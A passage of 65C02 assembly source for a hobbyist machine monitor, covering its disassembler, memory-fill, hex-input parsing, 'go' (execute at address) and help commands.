_` | / __| / __| / _ \ | '_ ` _ \ | '_ \ | | / _ \ ; | |_| | | | \__ \ | (_| | \__ \ \__ \ | __/ | | | | | | | |_) | | | | __/ ; |____/ |_| |___/ \__,_| |___/ |___/ \___| |_| |_| |_| |_.__/ |_| \___| ; ; Disassembles code in memory ; ---------------------------------------------------------------------------------------------------------------------- disassemble: ; GET COMMAND LINE START ADDRESS IF ANY ; ------------------------------------- dis_read_cmd_line: ; CHECK FOR EOL AND " " DELIMITER lda IN_BUFFER,y ; Read a character from the input buffer beq dis_default_addr ; Is it end of buffer (0)? Yes, so use default address (CUR_ADDR) cmp #" " ; Is it the space delimiter? beq dis_start_addr ; Yes it is. Then go read an address jsr syntax_error ; If anything else, print a syntax error jmp disassemble_end ; Go to end of routine dis_default_addr: ; IF NO ADDRESS PROVIDED, GET CUR ADDRESS USED lda CUR_ADDR+1 ; Read the MSB's last address used sta SRC_ADDR+1 ; Store it as the start address lda CUR_ADDR ; Read the LSB's last address used sta SRC_ADDR ; Store it as the start address bra dis_start ; Go grab the end address, if there is one dis_start_addr: ; GET START ADDRESS jsr skip_spaces ; skip leading spaces if any jsr get_word ; Get address from the input buffer bcs dis_store_start ; Valid word is present, store address jsr invalid_address ; Display invalid address message jmp disassemble_end ; No valid word is present, then send end parsing dis_store_start: ; STORE START ADDRESS lda WORD ; Load LSB from get_word sta SRC_ADDR ; Store LSB to start address register sta CUR_ADDR ; Store it in the current address (LSB) lda WORD+1 ; Load MSB from get_word sta SRC_ADDR+1 ; Store MSB to start address register sta CUR_ADDR+1 ; Store it in the current address (MSB) dis_start: stz MON_TEMP+1 ; Set line counter to 0 ; PRINT ADDRESS, OPCODE AND OPERAND VALUES dis_print_line: ; PRINT ADDRESS lda CUR_ADDR+1 ; Load address MSB jsr print_byte ; Prints MSB lda CUR_ADDR ; Load address LSB jsr print_byte ; Prints LSB lda #":" ; Fetch colon ":" delimiter for byte display jsr print_char ; Print it lda #" " ; Fetch the space character jsr print_char ; Print it ; PRINT NUMERICAL OPCODE lda (CUR_ADDR) ; Get opcode sta OPCODE ; Save opcode for later use tax ; Keep x to get addressing mode later jsr print_byte ; Print opcode byte lda #" " ; Print a space... jsr print_char ; ... to separate opcode from operand jsr inc_cur_addr ; Go to next address ; DETERMINE NUMBER OF BYTES FOR THAT INSTRUCTION lda dis_addressing,x ; Get the addressing mode sta ADDR_MODE ; Store addressing mode for later use cmp #2 ; Is it a 1-byte instruction? bcc dis_print_7_spaces ; Yes, then print some spaces to align to mnemonic print cmp #10 ; Does instruction have a single byte operand? bcc dis_print_1_operand ; Yes, print single-byte operand bra dis_print_2_operands ; No, print a 2-byte operand dis_print_1_operand: ; READ OPERAND lda (CUR_ADDR) ; Load operand sta OPERAND1 ; Store it in a variable for later use jsr print_byte ; Output it to screen jsr inc_cur_addr ; Go to next address bra dis_print_5_spaces ; Print some spaces to align to mnemonic print dis_print_2_operands: ; READ TWO OPERANDS lda (CUR_ADDR) ; Load first operand sta OPERAND1 ; Store it in a variable for later use jsr print_byte ; Output it to screen lda #" " ; Print a space jsr print_char ; jsr inc_cur_addr ; Go to next address lda (CUR_ADDR) ; Load second operand sta OPERAND2 ; Store it in a variable for later use jsr print_byte ; Output it to screen lda #" " ; Print two spaces jsr print_char ; jsr print_char ; jsr inc_cur_addr ; Go to next address bra dis_print_mnemonic dis_print_7_spaces: lda #" " jsr print_char jsr print_char dis_print_5_spaces: lda #" " jsr print_char jsr print_char jsr print_char jsr print_char jsr print_char ; PRINT OPCODE'S MNEMONIC (OpCode mnemonics are divided into 4 tables of 64 opcodes, equaling 256 bytes per table) dis_print_mnemonic: lda OPCODE cmp #$40 ; Read first block of mnemonic bcc dis_print_block1 cmp #$80 ; Read second block of mnemonic bcc dis_print_block2 cmp #$C0 ; Read third block of mnemonic bcc dis_print_block3 bra dis_print_block4 ; Read fourth block of mnemonic dis_print_block1: asl ; Multiply by 2, two times... asl ; ... to create a 4 byte offset tax ; Accumulator becomes the index lda dis_mnemonic_blk1,x ; Load first character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk1,x ; Load second character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk1,x ; Load third character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk1,x ; Load fourth character of mnemonic jsr print_char ; Print it jmp dis_addr_mode dis_print_block2: sec ; Set carry bit sbc #$40 ; Offset to second table asl ; Multiply by 2, two times... asl ; ... to create a 4 byte offset tax ; Accumulator becomes the index lda dis_mnemonic_blk2,x ; Load first character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk2,x ; Load second character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk2,x ; Load third character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk2,x ; Load fourth character of mnemonic jsr print_char ; Print it jmp dis_addr_mode dis_print_block3: sec ; Set carry bit sbc #$80 ; Offset to third table asl ; Multiply by 2, two times... asl ; ... to create a 4 byte offset tax ; Accumulator becomes the index lda dis_mnemonic_blk3,x ; Load first character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk3,x ; Load second character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk3,x ; Load third character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk3,x ; Load fourth character of mnemonic jsr print_char ; Print it jmp dis_addr_mode dis_print_block4: sec ; Set carry bit sbc #$C0 ; Offset to fourth table asl ; Multiply by 2, two times... asl ; ... to create a 4 byte offset tax ; Accumulator becomes the index lda dis_mnemonic_blk4,x ; Load first character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk4,x ; Load second character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk4,x ; Load third character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk4,x ; Load fourth character of mnemonic jsr print_char ; Print it ; PRINT OPERAND(S) IN CORRESPONDING ADDRESSING MODE FORMAT dis_addr_mode: lda #" " ; Print a space jsr print_char lda ADDR_MODE ; Get addressing mode and branch to appropriate addressing routine dis_inv cmp #0 ; Invalid opcode bne dis_imp jmp dis_invalid ; dis_imp cmp #IMP ; bne dis_imm ; jmp dis_implied ; dis_imm cmp #IMM ; bne dis_rel jmp dis_immediate ; dis_rel cmp #REL ; bne dis_zp jmp dis_relative ; dis_zp cmp #ZP ; bne dis_zpx jmp dis_zeropage ; dis_zpx cmp #ZPX bne dis_zpy ; jmp dis_zeropage_x ; dis_zpy cmp #ZPY ; bne dis_izp jmp dis_zeropage_y ; dis_izp cmp #IZP ; bne dis_izx jmp dis_indirect_zp ; dis_izx cmp #IZX ; bne dis_izy jmp dis_indirect_zpx ; dis_izy cmp #IZY ; bne dis_zpr jmp dis_indirect_zpy ; dis_zpr cmp #ZPR ; bne dis_abs jmp dis_zeropage_relative ; dis_abs cmp #ABS ; bne dis_abx jmp dis_absolute ; dis_abx cmp #ABX ; bne dis_aby jmp dis_absolute_x ; dis_aby cmp #ABY ; bne dis_ind jmp dis_absolute_y ; dis_ind cmp #IND ; bne dis_iax jmp dis_indirect ; dis_iax cmp #IAX ; bne dis_iay jmp dis_indirect_x ; dis_iay cmp #IAY ; bne dis_lop jmp dis_indirect_y ; dis_lop jmp dis_lines_loop ; INVALID dis_invalid ldx #9 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 jmp dis_lines_loop ; IMPLIED dis_implied: ldx #9 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 jmp dis_lines_loop ; IMMEDIATE: #$00 (ALSO PRINT ASCII VALUE IF IT'S IN A VALID RANGE) dis_immediate: lda #"#" jsr print_char lda #"$" jsr print_char lda OPERAND1 jsr print_byte ldx #5 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; RELATIVE: $00 (ALSO PRINTS DESTINATION ADDRESS) dis_relative: lda #"$" jsr print_char lda OPERAND1 jsr print_byte ldx #6 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ZEROPAGE: $00 dis_zeropage: lda #"$" jsr print_char lda OPERAND1 jsr print_byte ldx #6 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ZEROPAGE X INDEXED: $00,X dis_zeropage_x: lda #"$" jsr print_char lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"x" jsr print_char ldx #4 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ZEROPAGE Y INDEXED: $00,Y dis_zeropage_y: lda #"$" jsr print_char lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"y" jsr print_char ldx #4 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; INDIRECT ZEROPAGE: ($00) dis_indirect_zp: lda #"(" jsr print_char lda #"$" jsr print_char lda OPERAND1 jsr print_byte lda #")" jsr print_char ldx #4 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; INDIRECT ZEROPAGE X INDEXED: ($00,X) dis_indirect_zpx: lda #"(" jsr print_char lda #"$" jsr print_char lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"x" jsr print_char lda #")" jsr print_char ldx #2 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; INDIRECT ZEROPAGE Y INDEXED: ($00),Y dis_indirect_zpy: lda #"(" jsr print_char lda #"$" jsr print_char lda OPERAND1 jsr print_byte lda #")" jsr print_char lda #"," jsr print_char lda #"y" jsr print_char ldx #2 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ZEROPAGE RELATIVE: $00,$00 (ALSO PRINTS DESTINATION ADDRESS) dis_zeropage_relative: lda #"$" jsr print_char lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"$" jsr print_char lda OPERAND2 jsr print_byte ldx #2 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ABSOLUTE: $0000 dis_absolute: lda #"$" jsr print_char lda OPERAND2 jsr print_byte lda OPERAND1 jsr print_byte ldx #4 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ABSOLUTE X INDEXED: $0000,X dis_absolute_x: lda #"$" jsr print_char lda OPERAND2 jsr print_byte lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"x" jsr print_char ldx #2 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ABSOLUTE Y INDEXED: $0000,Y dis_absolute_y: lda #"$" jsr print_char lda OPERAND2 jsr print_byte lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"y" jsr print_char ldx #2 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; INDIRECT: ($0000) dis_indirect: lda #"(" jsr print_char lda #"$" jsr print_char lda OPERAND2 jsr print_byte lda OPERAND1 jsr print_byte lda #")" jsr print_char ldx #2 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; INDIRECT X INDEXED: ($0000,X) dis_indirect_x: lda #"(" jsr print_char lda #"$" jsr print_char lda OPERAND2 jsr print_byte lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"x" jsr print_char lda #")" jsr print_char ldx #0 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; INDIRECT Y INDEXED: ($0000),Y dis_indirect_y: lda #"(" jsr print_char lda #"$" jsr print_char lda OPERAND2 jsr print_byte lda OPERAND1 jsr print_byte jsr print_char lda #")" lda #"," jsr print_char lda #"y" jsr print_char lda #")" ldx #0 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 dis_lines_loop: lda #CR ; Change line jsr print_char ; inc MON_TEMP+1 ; Increment line number counter lda MON_TEMP+1 ; Has the line number counter... cmp #ROWS-2 ; ...reached the display size limit? beq disassemble_end ; Yes, then end routine jmp dis_print_line ; Else, print another line disassemble_end: rts ; Disassemble subroutines ; TAB ALIGN AND PRINT SEPARATOR dis_spaces: lda #" " ; Load space character cpx #0 ; Is X = 0? (Space counter) beq dis_spaces3 ; Yes, then print separator dis_spaces2: jsr print_char ; Print space dex ; Decrement X bne dis_spaces2 ; If X is not 0, then loop to print another space dis_spaces3: lda #"|" ; Print separator character jsr print_char ; lda #" " ; Print a space jsr print_char ; rts ; PRINT ASCII REPRESENTATION OF OPCODE/OPERAND(S) - (Useful for identifying text vs. code) dis_print_ascii7: cmp #" " ; ASCII decimal 32 (Space) bcc d_lc1 ; Is A < 20? Yes? Then print a dot cmp #$7F ; ASCII decimal 127? (DEL) bcs d_lc1 ; Is A >= 127? Yes? Then print a dot bra d_lc2 ; Otherwise, returns ASCII value, or Accumulator as is d_lc1: lda #"." ; It's an invalid character, replace it with a dot d_lc2: jsr print_char ; Print valid character rts ; __ _ _ _ ; / _| (_) | | | | _ __ ___ ___ _ __ ___ ; | |_ | | | | | | | '_ ` _ \ / _ \ | '_ ` _ \ ; | _| | | | | | | | | | | | | | __/ | | | | | | ; |_| |_| |_| |_| _____ |_| |_| |_| \___| |_| |_| |_| ; |_____| ; ; Fills a region of memory with a byte value ; ---------------------------------------------------------------------------------------------------------------------- fill_mem: ; CHECK FOR EOL AND " " DELIMITER lda IN_BUFFER,y ; Read a character from the input buffer bne f_delim ; Not end of string... jmp no_parameter ; Yes it is. Since nothing is specified, go print error, and exit f_delim cmp #" " ; Is it the space delimiter? beq fill_mem_start_addr ; Yes it is. Then go read an address jmp syntax_error ; If anything else, print a syntax error, and exit fill_mem_start_addr: ; GET START ADDRESS jsr skip_spaces ; skip leading spaces jsr get_word ; Get word (address) from the input buffer bcs fill_mem_store_start ; If valid, then save addresses jmp invalid_address ; Display invalid address message, and exit fill_mem_store_start: ; STORE AND PRINT START ADDRESS lda WORD+1 ; Load MSB from get_word jsr print_byte sta CUR_ADDR+1 ; Store MSB to start address register sta SRC_ADDR+1 ; Store MSB to start address register lda WORD ; Load LSB from get_word jsr print_byte sta CUR_ADDR ; Store LSB to start address register sta SRC_ADDR ; Store LSB to start address register lda #"-" jsr print_char fill_mem_is_end_addr: ; IS THERE AN END ADDRESS? lda IN_BUFFER,y ; Read a character from the input buffer bne f2 ; It's not the end of string jmp no_parameter ; It's the end f the string, print error f2 cmp #" " ; Is the it a space delimiter? beq fill_mem_end_addr ; It is, then get the byte jmp no_parameter ; Print an error if no delimiter was detected fill_mem_end_addr: ; GET END ADDRESSE iny ; Postition the index to next character jsr skip_spaces ; skip leading spaces jsr get_word ; Get address from the input buffer bcs fill_mem_store_end ; Address is valid, so save addresses rts ; It's not, then end routine fill_mem_store_end: ; STORE AND PRINT END ADDRESS lda WORD+1 ; Load MSB from get_address jsr print_byte sta DES_ADDR+1 ; Store MSB to start address register lda WORD ; Load LSB from get_address jsr print_byte sta DES_ADDR ; Store LSB to start address register lda #":" jsr print_char fill_mem_is_byte: ; IS THERE A BYTE COMMING UP? lda IN_BUFFER,y ; Read a character from the input buffer cmp #0 ; Is it the end of the string? beq f_nopar ; Yes it is, Since no byte has been entered, print error cmp #" " ; Is the it a space delimiter? beq fill_mem_byte ; It is, then get the byte f_nopar jmp no_parameter ; Print an error if no delimiter was detected fill_mem_byte: ; GET BYTE iny ; Postition the index to next character jsr skip_spaces ; skip leading spaces jsr get_byte ; Get address from the input buffer bcs fill_mem_memory ; Byte is valid, save byte rts ; It's not, then send end parsing fill_mem_memory: sta TEMP jsr print_byte lda #CR jsr print_char ;lda SRC_ADDR+1 ;sta CUR_ADDR+1 ;lda SRC_ADDR ;sta CUR_ADDR fill_mem_write_byte: lda CUR_ADDR+1 cmp DES_ADDR+1 bne fill_mem_next lda CUR_ADDR cmp DES_ADDR beq fill_mem_store_last fill_mem_next: lda TEMP sta (CUR_ADDR) ; Store it in specified memory location nop lda (CUR_ADDR) ; Read the byte just written cmp TEMP ; Compare it to the actual byte bne fill_mem_failed ; It they don't match, print an error jsr inc_cur_addr ; Increment last address position for next byte bra fill_mem_write_byte fill_mem_store_last: ; STORE CUR BYTE ADDRESS, AND SET CUR ADDRESS TO START ADDRESS ; -------------------------------------------------------------- lda TEMP sta (CUR_ADDR) ; Store it in specified memory location nop lda (CUR_ADDR) ; Read the byte just written cmp TEMP ; Compare it to the actual byte bne fill_mem_failed ; It they don't match, print an error lda SRC_ADDR+1 ; Load MSB from get_address sta CUR_ADDR+1 ; Store MSB to start address register lda SRC_ADDR ; Load LSB from get_address sta CUR_ADDR ; Store LSB to start address register rts fill_mem_failed: ldx #<cant_write_address ; Get LSB address ldy #>cant_write_address ; Get MSB address jsr print_string ; Write message lda CUR_ADDR+1 jsr print_byte lda CUR_ADDR jsr print_byte lda #CR jsr print_char rts ; End subroutine ; _ _ _ ; __ _ ___ | |_ | |__ _ _ | |_ ___ ; / _` | / _ \ | __| | '_ \ | | | | | __| / _ \ ; | (_| | | __/ | |_ | |_) | | |_| | | |_ | __/ ; \__, | \___| \__| _____ |_.__/ \__, | \__| \___| ; |___/ |_____| |___/ ; Read from INPUT_BUFFER at Y, and converts 2 ASCII characters to a hex byte ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: IN_BUFFER @ Y containing 2 characters ; DESTROYS: GET_TEMP ; RETURNS: Byte in A ; Carry bit clear = hex digit is not valid ; Carry bit set = hex digit is valid get_byte: jsr get_nibble ; convert ASCII to hex nibble bcc get_byte_end ; End routine if nibble is invalid asl ; push nibble to MSB asl ; asl ; asl ; sta GET_TEMP ; Store A in GET_TEMP jsr get_nibble ; convert ASCII to hex nibble bcc get_byte_end ; End routine if nibble is invalid ora GET_TEMP ; Join MSB and LSB into A get_byte_end: rts ; _ _ _ _ _ ; __ _ ___ | |_ _ __ (_) | |__ | |__ | | ___ ; / _` | / _ \ | __| | '_ \ | | | '_ \ | '_ \ | | / _ \ ; | (_| | | __/ | |_ | | | | | | | |_) | | |_) | | | | __/ ; \__, | \___| \__| _____ |_| |_| |_| |_.__/ |_.__/ |_| \___| ; |___/ |_____| ; Read from IN_BUFFER at Y, and converts the ASCII character to a hex value ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: IN_BUFFER @ Y containing 1 character ; RETURNS: Carry bit clear = hex digit is not valid ; Carry bit set = hex digit is valid in A get_nibble: lda IN_BUFFER,y ; Get character jsr uppercase ; Convert A-F to uppercase ; IS IT A VALID HEX CHARACTER? cmp #"0" ; Filter anything bellow the ASCII 0 bcc get_nibble_error ; Is A less than "0"? Yes, then error cmp #"F"+1 ; Filter anything above the ASCII F bcs get_nibble_error ; Is A greater than "F"? Yes, then error cmp #"9"+1 ; Filter anything above ASCII 9 bcc get_nibble_ok ; Is A is less or equal to "9"? Yes, then ok cmp #"A" ; Filter anything below ASCII A bcs get_nibble_ok ; Is A greater then or equal to "A"? Yes, then ok get_nibble_error: clc ; Clear carry to indicate error rts ; End subroutine get_nibble_ok: ; OFFSET RESULT FROM ASCII VALUE to HEX VALUE sec ; Prepare for substraction sbc #$30 ; cmp #$0A ; Is it a decimal (0-9) digit? bcc get_nibble_clear ; Yes sec sbc #$07 ; Alphabet offset to get A-F get_nibble_clear: and #$0F ; Clear upper nibble iny ; Increment command line buffer pointer inc ERROR_PTR ; Increment pointer to next potential error location sec ; Set carry to indicate valid nibble rts ; End subroutine ; _ _ ; __ _ ___ | |_ __ __ ___ _ __ __| | ; / _` | / _ \ | __| \ \ /\ / / / _ \ | '__| / _` | ; | (_| | | __/ | |_ \ V V / | (_) | | | | (_| | ; \__, | \___| \__| _____ \_/\_/ \___/ |_| \__,_| ; |___/ |_____| ; ; Get a character word (16-bit) from the terminal, and produce a valid hex word ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: IN_BUFFER @ Y ; OUTPUT: Carry bit clear = invalid word ; Carry bit set = valid word in WORD & WORD+1 get_word: pha phx sty GET_TEMP ; Save for later usage ldx #0 ; Set counter to 0 get_word_count: ; IS THE WORD COMPOSED OF 1 to 4 CHARACTERS? lda IN_BUFFER,y ; Load character cmp #0 ; Is it the end of the string? beq get_word_endcount ; Yes, then stop counting cmp #" " ; Is it the seperator delimiter? beq get_word_endcount ; Yes, then stop counting iny ; Increment IN_BUFFER pointer inx ; Increment character count bra get_word_count ; Get next character until end of string or separator delimiter get_word_endcount: ldy GET_TEMP ; Restore index pointer to start of word get_word_count0; cpx #0 ; Is there an word specified? bne get_word_count1 ; Yes, then go to 1 lda CUR_ADDR ; Default word to current address (CUR_ADDR) if nothing is specified sta WORD lda CUR_ADDR+1 sta WORD+1 sec bra get_word_end ; End subroutine get_word_count1: cpx #1 ; Is there just one digit? bne get_word_count2 ; No, then go to 2, else... jsr get_nibble ; Get single character (nibble) bcc get_word_error ; If nibble contains an illegal character, go to error sta WORD ; Store it in the little endian part of the word stz WORD+1 ; Clear big endian part of the word sec bra get_word_end ; End subroutine get_word_count2: cpx #2 ; Is it just a 2 digit word? bne get_word_count3 ; No, then go to 3, else... jsr get_byte ; Get a byte bcc get_word_error ; If byte contains an illegal character, go to error sta WORD ; Store it in the little endian part of the word stz WORD+1 ; Clear big endian part of the word sec bra get_word_end ; End subroutine get_word_count3: cpx #3 ; Is it a 3 digit word? bne get_word_count4 ; No, then go to 4, else... jsr get_nibble ; Get the first character of a 3 digit word bcc get_word_error ; If nibble contains an illegal character, go to error sta WORD+1 ; Store the nibble in the big endian portion of the word jsr get_byte ; Get the little endian byte bcc get_word_error ; If byte contains an illegal character, go to error sta WORD ; Store the little endian portion of the word sec bra get_word_end ; End subroutine get_word_count4: cpx #4 ; Is it a 4 digit word? bne get_word_error ; No, then flag an error, else... jsr get_byte ; Get the big endian byte bcc get_word_error ; If byte contains an illegal character, go to error sta WORD+1 ; Store the nibble in the big endian portion of the word jsr get_byte ; Get the little endian byte bcc get_word_error ; If byte contains an illegal character, go to error sta WORD ; Store the little endian portion of the word sec ; Indicate that word is valid bra get_word_end ; End subroutine get_word_error: clc ; Clear Carry to indicate an error get_word_end: plx pla rts ; __ _ ___ ; / _` | / _ \ ; | (_| | | (_) | ; \__, | \___/ ; |___/ ; ; Execute code at address specified, or at CUR_ADDR ; ---------------------------------------------------------------------------------------------------------------------- go_exec: lda IN_BUFFER,y ; Read a character from the input buffer bne go_get_addr ; It's not the end of string, get address jmp (CUR_ADDR) ; Execute code at CUR_ADDR go_get_addr: pe1 cmp #" " ; Is it the space delimiter? beq go_at_addr ; Yes it is. Then go read an address jsr syntax_error ; If anything else, print a syntax error rts ; End of routine go_at_addr: ; GET START ADDRESS jsr skip_spaces ; skip leading spaces jsr get_word ; Get address from the input buffer bcs go_addr ; Valid address jsr invalid_address ; If there's an error in the address, print it bra go_end go_addr: jmp (WORD) ; Execute code at specified address go_end: rts ; _ _ ; | |__ ___ | | _ __ ; | '_ \ / _ \ | | | '_ \ ; | | | | | __/ | | | |_) | ; |_| |_| \___| |_| | .__/ ; |_| ; ; Prints help for various commands ; ---------------------------------------------------------------------------------------------------------------------- help: lda IN_BUFFER,y ; Read a character from the input buffer bne help_other ; End of string? No, go check if it's a space ldx #<help_msg ; Get LSB address of msg ldy #>help_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_other: ; IF NO SPACE DELIMITER IS PRESENT PRINT ERROR cmp #" " ; Is it the space delimiter? beq help_command ; Yes it is. Then go read an address jsr syntax_error ; If not EOL or space, print syntax error jmp help_end ; End subroutine help_command: ; READ THE CHARACTER REPRESENTING THE COMMAND jsr skip_spaces ; Skip leading spaces lda IN_BUFFER,y ; Load a character jsr uppercase help_address: ; LOAD ADDRESS HELP cmp #"$" ; Is it help for ADDRESS ($) bne help_iomap ; No, goto next ldx #<help_address_msg ; Get LSB address of msg ldy #>help_address_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_iomap: ; LOAD IOMAP HELP cmp #"!" ; Is it help for IOMAP bne help_assemble ; No, goto next ldx #<help_iomap_msg ; Get LSB address of msg ldy #>help_iomap_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_assemble: ; ASSEMBLE COMMAND HELP cmp #"A" ; Is it help for ASSEMBLE bne help_basic ; No, goto next ldx #<help_assemble_msg ; Get LSB address of msg ldy #>help_assemble_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_basic: ; CONVERT COMMAND HELP cmp #"B" ; Is it help for CONVERT bne help_clock ; No, goto next ldx #<help_basic_msg ; Get LSB address of msg ldy #>help_basic_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_clock: ; CLOCK COMMAND HELP cmp #"C" ; Is it help for CLOCK bne help_disassemble ; No, goto next ldx #<help_clock_msg ; Get LSB address of msg ldy #>help_clock_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_disassemble: ; DISASSEMBLE COMMAND HELP cmp #"D" ; Is it help for DISASSEMBLE bne help_fill ; No, goto next ldx #<help_disassemble_msg ; Get LSB address of msg ldy #>help_disassemble_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_fill: ; FILL COMMAND HELP cmp #"F" ; Is it help for FILL bne help_go ; No, goto next ldx #<help_fill_msg ; Get LSB address of msg ldy #>help_fill_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_go: ; GO COMMAND HELP cmp #"G" ; Is it help for GO bne help_hunt ; No, goto next ldx #<help_go_msg ; Get LSB address of msg ldy #>help_go_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_hunt: ; LOAD COMMAND HELP cmp #"H" ; Is it help for LOAD bne help_load ; No, goto next ldx #<help_hunt_msg ; Get LSB address of msg ldy #>help_hunt_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_load: ; LOAD COMMAND HELP cmp #"L" ; Is it help for LOAD bne help_memory ; No, goto next ldx #<help_load_msg ; Get LSB address of msg ldy #>help_load_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_memory: ; MEMORY MAP COMMAND HELP cmp #"M" ; Is it help for MEMORY bne help_registers ; No, goto next ldx #<help_memory_msg ; Get LSB address of msg ldy #>help_memory_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_registers: ; RGISTERS COMMAND HELP cmp #"R" ; Is it help for REGISTERS bne help_save ; No, goto next ldx #<help_registers_msg ; Get LSB address of msg ldy #>help_registers_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_save: ; SAVE COMMAND HELP cmp #"S" ; Is it help for SAVE bne help_test ; No, goto next ldx #<help_save_msg ; Get LSB address of msg ldy #>help_save_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_test: ; TEST COMMAND HELP cmp #"T" ; Is it help for TEST bne help_write ; No, goto next ldx #<help_test_msg ; Get LSB address of msg ldy #>help_test_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_write: ; WRITE COMMAND HELP cmp #"W" ; Is it help for WRITE bne help_zero ; No, goto next ldx #<help_write_msg ; Get LSB address of msg ldy #>help_write_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_zero: ; ZERO COMMAND HELP cmp #"Z" ; Is it help for ZERO bne help_not_valid ; No, goto next ldx #<help_zero_msg ; Get LSB address of msg ldy #>help_zero_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_not_valid: ldx #<help_not_valid_msg ; Get LSB address of msg ldy #>help_not_valid_msg ; Get MSB address of msg jsr print_string ; Write message help_end: rts ; _ _ _ ; (_) _ __ ___ ___ _ _ _ __ __ _ __| | __| | _ __ ; | | | '_ \ / __| / __| | | | | | '__| / _` | / _` | / _` | | '__| ; | | | | | | | (__ | (__ | |_| | | | | (_| | | (_| | | (_| | | | ; |_| |_| |_| \___| _____ \___| \__,_| |_| _____ \__,_| \__,_| \__,_| |_| ; |_____| |_____| ; ; Increment CUR_ADDR (16-bit address) - Does not roll-over ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: CUR_ADDR and CUR_ADDR+1 ; RETURNS: Carry bit clear = Did not increment. Already at $FFFF ; Carry bit set = Incremented inc_cur_addr: pha lda CUR_ADDR+1 cmp #$FF ; Is MSB = $FF? bne inc_cur_addr_add ; No, then proceed to increment lda CUR_ADDR cmp #$FF ; Is LSB = $FF bne inc_cur_addr_add ; No, then proceed to increment clc ; Carry clear indicate reached $FFFF pla rts inc_cur_addr_add: 